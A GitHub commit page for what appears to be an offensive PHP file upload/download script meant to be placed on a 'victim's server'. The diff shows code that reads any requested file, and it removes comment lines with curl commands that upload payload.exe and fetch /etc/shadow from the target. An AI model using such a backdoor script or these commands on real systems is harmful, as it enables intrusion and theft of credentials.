Skip to content

Commit 7c6f055

Browse files
committed
File Upload Update
1 parent 61721d9 commit 7c6f055

File tree

2 files changed

+2
-4
lines changed

2 files changed

+2
-4
lines changed

Diff for: README.md

+2
Original file line numberDiff line numberDiff line change
@@ -56,6 +56,8 @@ Check the [simple PHP file upload/download script](https://github.com/ivan-since
5656

5757
When downloading a file, you should [URL encode](https://www.urlencoder.org) the file path, and specify name of the output file.
5858

59+
Depending on the server configuration, downloading a file through HTTP GET parameter might not always work, so you will have to hardcore the file path in the script.
60+
5961
### Case 1: Upload the Script to the Victim’s Server
6062

6163
Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC.

Diff for: src/web/files.php

-4
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,6 @@
1717
$output = "SUCCESS: File was uploaded to '{$output}'";
1818
}
1919
unset($_FILES[$parameter]);
20-
// you can use cURL to upload local files
21-
// curl -s -k -X 'POST' 'https://somedomain.com/files.php' -F 'file=@/root/payload.exe'
2220
}
2321
if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'get' && isset($_GET[$parameter]) && ($_GET[$parameter] = trim($_GET[$parameter])) && strlen($_GET[$parameter]) > 0) {
2422
$output = @file_get_contents($_GET[$parameter]);
@@ -31,8 +29,6 @@
3129
$output = 'download';
3230
}
3331
unset($_GET[$parameter]);
34-
// you can use cURL to download remote files
35-
// curl -s -k -X 'GET' 'https://somedomain.com/files.php?file=/etc/shadow' -O ./
3632
}
3733
// if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML
3834
// garbage collector requires PHP v5.3.0 or greater

0 commit comments

Comments
 (0)